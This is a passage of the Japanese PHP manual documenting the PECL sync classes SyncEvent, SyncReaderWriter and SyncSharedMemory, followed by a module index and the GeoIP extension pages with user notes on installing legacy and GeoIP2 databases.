?>

参考

  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Resets a manual event

  • ≪ SyncEvent::fire
  • SyncEvent::wait ≫
  • PHP Manual
  • SyncEvent
  • Resets a manual event

SyncEvent::reset

(PECL sync >= 1.0.0)

SyncEvent::reset — Resets a manual event

説明

public SyncEvent::reset ( ) : bool

Resets a SyncEvent object that has been fired/set. Only valid for manual event objects.

パラメータ

この関数にはパラメータはありません。

返り値

A boolean value of TRUE if the object was successfully reset, FALSE otherwise.

例

例1 SyncEvent::reset() example

<?php
// In a web application:
$event = new SyncEvent("DemoApplication", true);
$event->wait();

// In a cron job:
$event = new SyncEvent("DemoApplication", true);
$event->reset();
/* ... Do some maintenance task(s) ... */
$event->fire();
?>

参考

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset()
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Waits for the event to be fired/set

  • ≪ SyncEvent::reset
  • SyncReaderWriter ≫
  • PHP Manual
  • SyncEvent
  • Waits for the event to be fired/set

SyncEvent::wait

(PECL sync >= 1.0.0)

SyncEvent::wait — Waits for the event to be fired/set

説明

public SyncEvent::wait ( int $wait = -1 ) : bool

Waits for the SyncEvent object to be fired.

パラメータ

wait

The number of milliseconds to wait for the event to be fired. A value of -1 is infinite.

返り値

A boolean of TRUE if the event was fired, FALSE otherwise.

例

例1 SyncEvent::wait() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

参考

  • SyncEvent::fire() - Fires/sets the event

User Contributed Notes

There are no user contributed notes for this page.


The SyncReaderWriter class

(PECL sync >= 1.0.0)

はじめに

A cross-platform, native implementation of named and unnamed reader-writer objects.

A reader-writer object allows many readers or one writer to access a resource. This is an efficient solution for managing resources where access will primarily be read-only but exclusive write access is occasionally necessary.

クラス概要

SyncReaderWriter {
/* メソッド */
public __construct ( string $name = ? , bool $autounlock = true )
public readlock ( int $wait = -1 ) : bool
public readunlock ( ) : bool
public writelock ( int $wait = -1 ) : bool
public writeunlock ( ) : bool
}

目次

  • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
  • SyncReaderWriter::readlock — Waits for a read lock
  • SyncReaderWriter::readunlock — Releases a read lock
  • SyncReaderWriter::writelock — Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock — Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncReaderWriter object

  • ≪ SyncReaderWriter
  • SyncReaderWriter::readlock ≫
  • PHP Manual
  • SyncReaderWriter
  • Constructs a new SyncReaderWriter object

SyncReaderWriter::__construct

(PECL sync >= 1.0.0)

SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object

説明

public SyncReaderWriter::__construct ( string $name = ? , bool $autounlock = true )

Constructs a named or unnamed reader-writer object.

パラメータ

name

The name of the reader-writer if this is a named reader-writer object.

注意:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

autounlock

Specifies whether or not to automatically unlock the reader-writer at the conclusion of the PHP script.

警告

If an object is: A named reader-writer with an autounlock of FALSE, the object is locked for either reading or writing, and the PHP script concludes before the object is unlocked, then the underlying objects will end up in an inconsistent state.

返り値

The new SyncReaderWriter object. An exception is thrown if the reader-writer cannot be created or opened.

例

例1 SyncReaderWriter::__construct() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();

$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参考

  • SyncReaderWriter::readlock() - Waits for a read lock
  • SyncReaderWriter::readunlock() - Releases a read lock
  • SyncReaderWriter::writelock() - Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for a read lock

  • ≪ SyncReaderWriter::__construct
  • SyncReaderWriter::readunlock ≫
  • PHP Manual
  • SyncReaderWriter
  • Waits for a read lock

SyncReaderWriter::readlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readlock — Waits for a read lock

説明

public SyncReaderWriter::readlock ( int $wait = -1 ) : bool

Obtains a read lock on a SyncReaderWriter object.

パラメータ

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

返り値

A boolean of TRUE if the lock was obtained, FALSE otherwise.

例

例1 SyncReaderWriter::readlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

参考

  • SyncReaderWriter::readunlock() - Releases a read lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a read lock

  • ≪ SyncReaderWriter::readlock
  • SyncReaderWriter::writelock ≫
  • PHP Manual
  • SyncReaderWriter
  • Releases a read lock

SyncReaderWriter::readunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readunlock — Releases a read lock

説明

public SyncReaderWriter::readunlock ( ) : bool

Releases a read lock on a SyncReaderWriter object.

パラメータ

この関数にはパラメータはありません。

返り値

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

例

例1 SyncReaderWriter::readunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

参考

  • SyncReaderWriter::readlock() - Waits for a read lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive write lock

  • ≪ SyncReaderWriter::readunlock
  • SyncReaderWriter::writeunlock ≫
  • PHP Manual
  • SyncReaderWriter
  • Waits for an exclusive write lock

SyncReaderWriter::writelock

(PECL sync >= 1.0.0)

SyncReaderWriter::writelock — Waits for an exclusive write lock

説明

public SyncReaderWriter::writelock ( int $wait = -1 ) : bool

Obtains an exclusive write lock on a SyncReaderWriter object.

パラメータ

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

返り値

A boolean of TRUE if the lock was obtained, FALSE otherwise.

例

例1 SyncReaderWriter::writelock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参考

  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a write lock

  • ≪ SyncReaderWriter::writelock
  • SyncSharedMemory ≫
  • PHP Manual
  • SyncReaderWriter
  • Releases a write lock

SyncReaderWriter::writeunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::writeunlock — Releases a write lock

説明

public SyncReaderWriter::writeunlock ( ) : bool

Releases a write lock on a SyncReaderWriter object.

パラメータ

この関数にはパラメータはありません。

返り値

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

例

例1 SyncReaderWriter::writeunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参考

  • SyncReaderWriter::writelock() - Waits for an exclusive write lock

User Contributed Notes

There are no user contributed notes for this page.


The SyncSharedMemory class

(PECL sync >= 1.1.0)

はじめに

A cross-platform, native, consistent implementation of named shared memory objects.

Shared memory lets two separate processes communicate without the need for complex pipes or sockets. There are several integer-based shared memory implementations for PHP. Named shared memory is an alternative.

Synchronization objects (e.g. SyncMutex) are still required to protect most uses of shared memory.

クラス概要

SyncSharedMemory {
/* メソッド */
public __construct ( string $name , int $size )
public first ( ) : bool
public read ( int $start = 0 , int $length = ? )
public size ( ) : bool
public write ( string $string = ? , int $start = 0 )
}

目次

  • SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::read — Copy data from named shared memory
  • SyncSharedMemory::size — Returns the size of the named shared memory
  • SyncSharedMemory::write — Copy data to named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncSharedMemory object

  • ≪ SyncSharedMemory
  • SyncSharedMemory::first ≫
  • PHP Manual
  • SyncSharedMemory
  • Constructs a new SyncSharedMemory object

SyncSharedMemory::__construct

(PECL sync >= 1.1.0)

SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object

説明

public SyncSharedMemory::__construct ( string $name , int $size )

Constructs a named shared memory object.

パラメータ

name

The name of the shared memory object.

注意:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

size

The size, in bytes, of shared memory to reserve.

注意:

The amount of memory cannot be resized later. Request sufficient storage up front.

返り値

The new SyncSharedMemory object. An exception is thrown if the shared memory object cannot be created or opened.

例

例1 SyncSharedMemory::__construct() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
    // Do first time initialization work here.
}

$result = $mem->write(json_encode(array("name" => "my_report.txt")));
?>

参考

  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::size() - Returns the size of the named shared memory
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Check to see if the object is the first instance system-wide of named shared memory

  • ≪ SyncSharedMemory::__construct
  • SyncSharedMemory::read ≫
  • PHP Manual
  • SyncSharedMemory
  • Check to see if the object is the first instance system-wide of named shared memory

SyncSharedMemory::first

(PECL sync >= 1.1.0)

SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory

説明

public SyncSharedMemory::first ( ) : bool

Retrieves the system-wide first instance status of a SyncSharedMemory object.

パラメータ

この関数にはパラメータはありません。

返り値

A boolean of TRUE if the object is the first instance system-wide, FALSE otherwise.

例

例1 SyncSharedMemory::first() example

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
    // Do first time initialization work here.
}

var_dump($mem->first());

$mem2 = new SyncSharedMemory("AppReportName", 1024);

var_dump($mem2->first());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

参考

  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Copy data from named shared memory

  • ≪ SyncSharedMemory::first
  • SyncSharedMemory::size ≫
  • PHP Manual
  • SyncSharedMemory
  • Copy data from named shared memory

SyncSharedMemory::read

(PECL sync >= 1.1.0)

SyncSharedMemory::read — Copy data from named shared memory

説明

public SyncSharedMemory::read ( int $start = 0 , int $length = ? )

Copies data from named shared memory.

パラメータ

start

The start/offset, in bytes, to begin reading.

注意:

If the value is negative, the starting position will begin at the specified number of bytes from the end of the shared memory segment.

length

The number of bytes to read.

注意:

If unspecified, reading will stop at the end of the shared memory segment.

If the value is negative, reading will stop the specified number of bytes from the end of the shared memory segment.

返り値

A string containing the data read from shared memory.

例

例1 SyncSharedMemory::__construct() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
    // Do first time initialization work here.
}

$result = $mem->write("report.txt");

$result = $mem->read(3, -4);
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

string(3) "ort"

参考

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read()

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the named shared memory

  • ≪ SyncSharedMemory::read
  • SyncSharedMemory::write ≫
  • PHP Manual
  • SyncSharedMemory
  • Returns the size of the named shared memory

SyncSharedMemory::size

(PECL sync >= 1.1.0)

SyncSharedMemory::size — Returns the size of the named shared memory

説明

public SyncSharedMemory::size ( ) : bool

Retrieves the shared memory size of a SyncSharedMemory object.

パラメータ

この関数にはパラメータはありません。

返り値

An integer containing the size of the shared memory. This will be the same size that was passed to the constructor.

例

例1 SyncSharedMemory::size() example

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
var_dump($mem->size());
?>

上の例の出力は、 たとえば以下のようになります。

int(1024)

参考

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Copy data to named shared memory

  • ≪ SyncSharedMemory::size
  • その他の基本モジュール ≫
  • PHP Manual
  • SyncSharedMemory
  • Copy data to named shared memory

SyncSharedMemory::write

(PECL sync >= 1.1.0)

SyncSharedMemory::write — Copy data to named shared memory

説明

public SyncSharedMemory::write ( string $string = ? , int $start = 0 )

Copies data to named shared memory.

パラメータ

string

The data to write to shared memoy.

注意:

If the size of the data exceeds the size of the shared memory, the number of bytes written returned will be less than the length of the input.

start

The start/offset, in bytes, to begin writing.

注意:

If the value is negative, the starting position will begin at the specified number of bytes from the end of the shared memory segment.

返り値

An integer containing the number of bytes written to shared memory.

例

例1 SyncSharedMemory::write() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
    // Do first time initialization work here.
}

$result = $mem->write("report.txt");
var_dump($result);

$result = $mem->write("report.txt", -3);
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(3)

参考

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::write()
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


その他の基本モジュール

  • GeoIP — Geo IP ロケーション
    • はじめに
    • インストール/設定
    • 定義済み定数
    • GeoIP 関数
  • FANN — FANN (Fast Artificial Neural Network)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Fann 関数
    • FANNConnection — The FANNConnection class
  • JSON — JavaScript Object Notation
    • はじめに
    • インストール/設定
    • 定義済み定数
    • JsonException — JsonException クラス
    • JsonSerializable — JsonSerializable インターフェイス
    • JSON 関数
  • Lua
    • はじめに
    • インストール/設定
    • Lua — Lua クラス
    • LuaClosure — LuaClosure クラス
  • LuaSandbox
    • はじめに
    • インストール/設定
    • Differences from Standard Lua
    • 例
    • LuaSandbox — The LuaSandbox class
    • LuaSandboxFunction — The LuaSandboxFunction class
    • LuaSandboxError — The LuaSandboxError class
    • LuaSandboxErrorError — The LuaSandboxErrorError class
    • LuaSandboxFatalError — The LuaSandboxFatalError class
    • LuaSandboxMemoryError — The LuaSandboxMemoryError class
    • LuaSandboxRuntimeError — The LuaSandboxRuntimeError class
    • LuaSandboxSyntaxError — The LuaSandboxSyntaxError class
    • LuaSandboxTimeoutError — The LuaSandboxTimeoutError class
  • その他 — その他の関数
    • はじめに
    • インストール/設定
    • 定義済み定数
    • その他の関数
    • 変更履歴
  • Seaslog
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Seaslog 関数
    • SeasLog — The SeasLog class
  • SPL — Standard PHP Library (SPL)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • データ構造
    • イテレータ
    • インターフェイス
    • 例外
    • SPL 関数
    • ファイル操作
    • その他のクラスおよびインターフェイス
  • ストリーム
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ストリームフィルタ
    • ストリームコンテキスト
    • ストリームのエラー
    • 例
    • php_user_filter — php_user_filter クラス
    • streamWrapper — streamWrapper クラス
    • ストリーム 関数
  • Swoole
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Swoole 関数
    • Swoole\Async — The Swoole\Async class
    • Swoole\Atomic — The Swoole\Atomic class
    • Swoole\Buffer — The Swoole\Buffer class
    • Swoole\Channel — The Swoole\Channel class
    • Swoole\Client — The Swoole\Client class
    • Swoole\Connection\Iterator — The Swoole\Connection\Iterator class
    • Swoole\Coroutine — The Swoole\Coroutine class
    • Swoole\Event — The Swoole\Event class
    • Swoole\Exception — The Swoole\Exception class
    • Swoole\Http\Client — The Swoole\Http\Client class
    • Swoole\Http\Request — The Swoole\Http\Request class
    • Swoole\Http\Response — The Swoole\Http\Response class
    • Swoole\Http\Server — The Swoole\Http\Server class
    • Swoole\Lock — The Swoole\Lock class
    • Swoole\Mmap — The Swoole\Mmap class
    • Swoole\MySQL — The Swoole\MySQL class
    • Swoole\MySQL\Exception — The Swoole\MySQL\Exception class
    • Swoole\Process — The Swoole\Process class
    • Swoole\Redis\Server — The Swoole\Redis\Server class
    • Swoole\Serialize — The Swoole\Serialize class
    • Swoole\Server — The Swoole\Server class
    • Swoole\Table — The Swoole\Table class
    • Swoole\Timer — The Swoole\Timer class
    • Swoole\WebSocket\Frame — The Swoole\WebSocket\Frame class
    • Swoole\WebSocket\Server — The Swoole\WebSocket\Server class
  • Tidy
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • tidy — tidy クラス
    • tidyNode — tidyNode クラス
    • Tidy 関数
  • Tokenizer
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • PhpToken — PhpToken クラス
    • Tokenizer 関数
  • URLs
    • はじめに
    • インストール/設定
    • 定義済み定数
    • URL 関数
  • V8js — V8 Javascript Engine 統合
    • はじめに
    • インストール/設定
    • 例
    • V8Js — V8Js クラス
    • V8JsException — V8JsException クラス
  • Yaml — YAML によるデータのシリアライズ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • コールバック
    • Yaml 関数
  • Yaf — Yet Another Framework (Yaf)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • アプリケーションの設定
    • Yaf_Application — Yaf_Application クラス
    • Yaf_Bootstrap_Abstract — Yaf_Bootstrap_Abstract クラス
    • Yaf_Dispatcher — Yaf_Dispatcher クラス
    • Yaf_Config_Abstract — Yaf_Config_Abstract クラス
    • Yaf_Config_Ini — Yaf_Config_Ini クラス
    • Yaf_Config_Simple — Yaf_Config_Simple クラス
    • Yaf_Controller_Abstract — Yaf_Controller_Abstract クラス
    • Yaf_Action_Abstract — Yaf_Action_Abstract クラス
    • Yaf_View_Interface — Yaf_View_Interface クラス
    • Yaf_View_Simple — Yaf_View_Simple クラス
    • Yaf_Loader — Yaf_Loader クラス
    • Yaf_Plugin_Abstract — Yaf_Plugin_Abstract クラス
    • Yaf_Registry — Yaf_Registry クラス
    • Yaf_Request_Abstract — Yaf_Request_Abstract クラス
    • Yaf_Request_Http — Yaf_Request_Http クラス
    • Yaf_Request_Simple — Yaf_Request_Simple クラス
    • Yaf_Response_Abstract — Yaf_Response_Abstract クラス
    • Yaf_Route_Interface — Yaf_Route_Interface クラス
    • Yaf_Route_Map — Yaf_Route_Map クラス
    • Yaf_Route_Regex — Yaf_Route_Regex クラス
    • Yaf_Route_Rewrite — Yaf_Route_Rewrite クラス
    • Yaf_Router — Yaf_Router クラス
    • Yaf_Route_Simple — Yaf_Route_Simple クラス
    • Yaf_Route_Static — Yaf_Route_Static クラス
    • Yaf_Route_Supervar — Yaf_Route_Supervar クラス
    • Yaf_Session — Yaf_Session クラス
    • Yaf_Exception — Yaf_Exception クラス
    • Yaf_Exception_TypeError — Yaf_Exception_TypeError クラス
    • Yaf_Exception_StartupError — Yaf_Exception_StartupError クラス
    • Yaf_Exception_DispatchFailed — Yaf_Exception_DispatchFailed クラス
    • Yaf_Exception_RouterFailed — Yaf_Exception_RouterFailed クラス
    • Yaf_Exception_LoadFailed — Yaf_Exception_LoadFailed クラス
    • Yaf_Exception_LoadFailed_Module — Yaf_Exception_LoadFailed_Module クラス
    • Yaf_Exception_LoadFailed_Controller — Yaf_Exception_LoadFailed_Controller クラス
    • Yaf_Exception_LoadFailed_Action — Yaf_Exception_LoadFailed_Action クラス
    • Yaf_Exception_LoadFailed_View — Yaf_Exception_LoadFailed_View クラス
  • Yaconf
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Yaconf — The Yaconf class
  • Taint
    • はじめに
    • インストール/設定
    • 詳細
    • Taint 関数
  • Data Structures
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Collection — The Collection interface
    • Hashable — The Hashable interface
    • Sequence — The Sequence interface
    • Vector — The Vector class
    • Deque — The Deque class
    • Map — The Map class
    • Pair — The Pair class
    • Set — The Set class
    • Stack — The Stack class
    • Queue — The Queue class
    • PriorityQueue — The PriorityQueue class

User Contributed Notes

There are no user contributed notes for this page.


Geo IP ロケーション

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • GeoIP 関数
    • geoip_asnum_by_name — AS番号(ASN) を取得する
    • geoip_continent_code_by_name — 二文字の大陸コードを取得する
    • geoip_country_code_by_name — 二文字の国コードを取得する
    • geoip_country_code3_by_name — 三文字の国コードを取得する
    • geoip_country_name_by_name — 完全な国名を取得する
    • geoip_database_info — GeoIP データベースの情報を取得する
    • geoip_db_avail — GeoIP データベースが使用可能かどうかを調べる
    • geoip_db_filename — 対応する GeoIP データベースのファイル名を返す
    • geoip_db_get_all_info — すべての GeoIP データベース形式についての詳細情報を返す
    • geoip_domain_by_name — セカンドレベルドメインの名前を取得する
    • geoip_id_by_name — インターネット接続方式を取得する
    • geoip_isp_by_name — インターネットサービスプロバイダ (ISP) 名を取得する
    • geoip_netspeedcell_by_name — インターネットへの接続速度を取得する
    • geoip_org_by_name — 組織名を取得する
    • geoip_record_by_name — GeoIP データベースで見つかった詳細な都市情報を返す
    • geoip_region_by_name — 国コードおよび地域を取得する
    • geoip_region_name_by_code — 国コードと地域コードから地域名を返す
    • geoip_setup_custom_directory — GeoIP データベースのカスタムディレクトリを設定する
    • geoip_time_zone_by_country_and_region — 国コードと地域コードからタイムゾーンを返す

User Contributed Notes

SG 11-Nov-2019 02:23
The 3rd party geolite2legacy script can also used to convert the newer GeoLite2 format downloads into the legacy format which can be read by the PHP GeoIP extension.
webmaster at isag dot melbourne 05-Jan-2019 09:51
With GeoIP2, the easiest way is to:

* Grab the latest GeoIP2 Lite Database(s): https://dev.maxmind.com/geoip/geoip2/geolite2/
* Grab the latest geoip2.phar: https://github.com/maxmind/GeoIP2-php/releases

<?php
require_once("geoip2.phar");
use GeoIp2\Database\Reader;
// City DB
$reader = new Reader('/path/to/GeoLite2-City.mmdb');
$record = $reader->city($_SERVER['REMOTE_ADDR']);
// or for Country DB
// $reader = new Reader('/path/to/GeoLite2-Country.mmdb');
// $record = $reader->country($_SERVER['REMOTE_ADDR']);
print($record->country->isoCode . "\n");
print($record->country->name . "\n");
print($record->country->names['zh-CN'] . "\n");
print($record->mostSpecificSubdivision->name . "\n");
print($record->mostSpecificSubdivision->isoCode . "\n");
print($record->city->name . "\n");
print($record->postal->code . "\n");
print($record->location->latitude . "\n");
print($record->location->longitude . "\n");
$>
istsehrgut 08-May-2015 06:00
If you still want to use legacy binaries but also need IPv6 support this should help:

In order to support IPv6->Country code easily and without unnecessary files based on the integration above:

Grab a copy of the latest legacy IPv6 data (I'm assuming you already have IPv4 binary):

wget http://geolite.maxmind.com/download/geoip/database/GeoIPv6.dat.gz
Decompress and move it to a dir accessible to your web server:

gunzip GeoIPv6.dat
mv GeoIPv6.dat /etc/usr/share/GeoIP/GeoIPv6.dat
Grab a copy of geoip.inc from the Maxmind git dir (https://github.com/maxmind/geoip-api-php/blob/master/src/geoip.inc) and save it somewhere you can access wherever you'll need to run geoip.

If you have php5-geoip installed as I did, remove it with sudo apt-get remove php5-geoip; purge as necessary.

With the above done you can now test incoming IP address for v4 or v6 and get appropriate results.

Example:

<?php
include_once('geoip.inc');

//set an IPv6 address for testing
$ip='2601:8:be00:cf20:ca60:ff:fe09:35b5';

/*
test if $ip is v4 or v6 and assign appropriate .dat file in $gi
run appropriate function geoip_country_code_by_addr() vs geoip_country_code_by_addr_v6()
*/
if((strpos($ip, ":") === false)) {
    //ipv4
    $gi = geoip_open("/usr/share/GeoIP/GeoIP1.dat",GEOIP_STANDARD);
    $country = geoip_country_code_by_addr($gi, $ip);
}
else {
    //ipv6
    $gi = geoip_open("/usr/share/GeoIP/GeoIPv6.dat",GEOIP_STANDARD);
    $country = geoip_country_code_by_addr_v6($gi, $ip);
}
echo $ip . "<br>" . $country;
This is specifically for Country, but can easily be replicated for City data.
mark at moderndeveloperllc dot com 26-Dec-2013 05:43
It should be noted that this extension has now been superseded by the GeoIP2 API that MaxMind now produces. There is a pure-PHP set of classes and a C library and extension you can optionally install. The code can be found in various projects on MaxMind's GitHub page: https://github.com/maxmind/


はじめに

GeoIP 拡張モジュールを使用すると、IP アドレスの場所を探すことができます。 市、州、国、経度、緯度そして ISP や接続方式などの情報が GeoIP を用いて取得できます。

警告

この拡張モジュールは、MaxMind の現在の "GeoIP2" データベースをサポートしません。 "GeoIP legacy" データベース・ファイルのみサポートします。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

Michelangelo van Dam 21-Mar-2019 10:45
As of January 2, 2019 Maxmind discontinued the original GeoLite databases that we have been using in all these examples. You can read the full announcement here: https://support.maxmind.com/geolite-legacy-discontinuation-notice/

This means that if you require to have an updated version of the GeoIP information, there are a few steps you need to do:
1. Install the GeoIP2 client libraries (Composer, Phar)
2. Download the new GeoIP2 datasets
3. Update your application to make use of this new API and dataset

You can find detailed instructions on http://maxmind.github.io/GeoIP2-php/

C extension
Yes, there is a C extension available! Check out https://github.com/maxmind/MaxMind-DB-Reader-php for more details on how to install and use this extension.
ewwink at yahoo dot com 27-Mar-2013 04:23
compiled .dll or php_geoip.dll is availbale at:

http://windows.php.net/downloads/pecl/releases/geoip/1.0.8/

tested and worked with PHP Version 5.3.9 in windows 7 Home Premium
sballeste at gmail dot com 30-Apr-2011 02:57
If the data files under /usr/share/GeoIP/ are not readable by apache, apache's process will crash with a segfault on calls to geoip functions.
ben at SPAMLESS dot ism dot net dot nz 28-Apr-2011 09:20
SUSE (as root):

# zypper install php5-devel
# SuSEconfig
# mkdir -p /usr/share/GeoIP
# wget http://pecl.php.net/get/geoip-1.0.7.tgz
(whatever the latest version is from http://pecl.php.net/package/geoip )
# tar -xzf geoip-1.0.7.tgz
# cd geoip-1.0.7/
# phpize
# ./configure
# make
# make install
# cp /etc/php5/conf.d/gd.ini /etc/php5/conf.d/geoip.ini
# vi /etc/php5/conf.d/geoip.ini
Change gd.so to geoip.so
:wq!
# vi /etc/php5/apache2/php.ini
Find the [gd] section and add a new section afterwards:
[geoip]
geoip.custom_directory = /usr/share/GeoIP/
:wq!
# /etc/init.d/apache2 restart

Check phpinfo() that geoip is loaded and the default location for the DB's is set.

If you want the free DBs that are update roughly monthly, follow the "Lite" links from http://www.maxmind.com/app/country and download the tar.gz to /usr/share/GeoIP/ and extract.
bob at qww dot cz 19-Aug-2009 12:00
To install geoip on debian lenny:

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz
sudo mkdir -v /usr/share/GeoIP
sudo mv -v GeoLiteCity.dat /usr/share/GeoIP/GeoIPCity.dat

sudo apt-get install php5-geoip

and then try it in PHP:
print_r(geoip_record_by_name('php.net'));

returns:
Array
(
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Sunnyvale
    [postal_code] => 94089
    [latitude] => 37.4249000549
    [longitude] => -122.007400513
    [dma_code] => 807
    [area_code] => 408
)
munitoris at inetspec dot com 14-Jul-2009 03:12
At the time of this writing, the PECL binaries at http://pecl4win.php.net/ are NOT AVAILABLE.

Specifically, the php_geoip.dll extension is not available in a pre-compiled form for Windoze PHP developers.

There are only two alternative solutions to self-compiling for Windoze (AFAIK):

1) Use the "Pure" PHP version of the GeoIP API from MaxMind available here (http://www.maxmind.com/download/geoip/api/php/).  This solution is not really acceptable for production machines because of its slower speed.  However, it does work for development.

2) Use the older version of this pre-compiled extension (http://www.gknw.de/php/ext_win32/php-5.2.1_geoip-w32.zip).  It worked on my development system using Windoze XP sp2, Apache 2.2.3 and PHP 5.2.10.  There are also older versions for PHP 5.1.2 and PHP 5.1.4 in the same directory.
matt at kynx dot org 14-Dec-2008 10:16
Installation on OSX (Leopard) running MAMP

First you need MacPorts installed and operational:
http://www.macports.org

Use that to install libgeoip. From a terminal window, do:

    $ sudo port install libgeoip

This installs the library in /opt/local. Unfortunately the current version of the PECL extension doesn't know to look there, so you'll need to download and compile manually from http://pecl.php.net/package/geoip

Assuming it's in your download directory, extract it:

    $ cd ~/Downloads
    $ tar -xzf geoip-1.0.3.tgz
    $ cd geoip-1.0.3

Now edit the config.m4 file and change the SEARCH_PATH variable, as described in the following bug report:
http://pecl.php.net/bugs/bug.php?id=14795

Now you should be able to compile and install the extension as usual. Make sure you use the phpize from the MAMP package, not the one that ships with OSX:

    $ /App*/MAMP/bin/php5/bin/phpize
    $ ./configure
    $ make
    $ sudo make install

If phpize complains that it cannot find files under /Applications/MAMP/bin/php5/include, make sure you have the development version of MAMP installed (link towards the bottom of the MAMP download page).

You're nearly there! The extension will have installed in /usr/lib/php. You need to copy it into your MAMP extension directory:

    $ cd /App*/MAMP/bin/php5/lib/php/ext*/no-debug*/
    $ mv /usr/lib/php/ext*/no-debug*/geoip.so .

Now edit the php.ini file in /Applications/MAMP/conf/php5/ and add the following line:

     extension=geoip.so

Restart your web server and check phpinfo() - the geoip extension should now be listed.

Good luck!
code at edoceo dot com 08-Dec-2008 01:12
Installation on Gentoo (2008.0) as follows:

emerge dev-libs/geoip
pecl install geoip

Then fetch the databases to /usr/share/GeoIP (wrapped!)
cd /usr/share/GeoIP
wget http://geolite.maxmind.com/download/geoip/ \
  database/GeoLiteCity.dat.gz
wget http://geolite.maxmind.com/download/geoip/ \
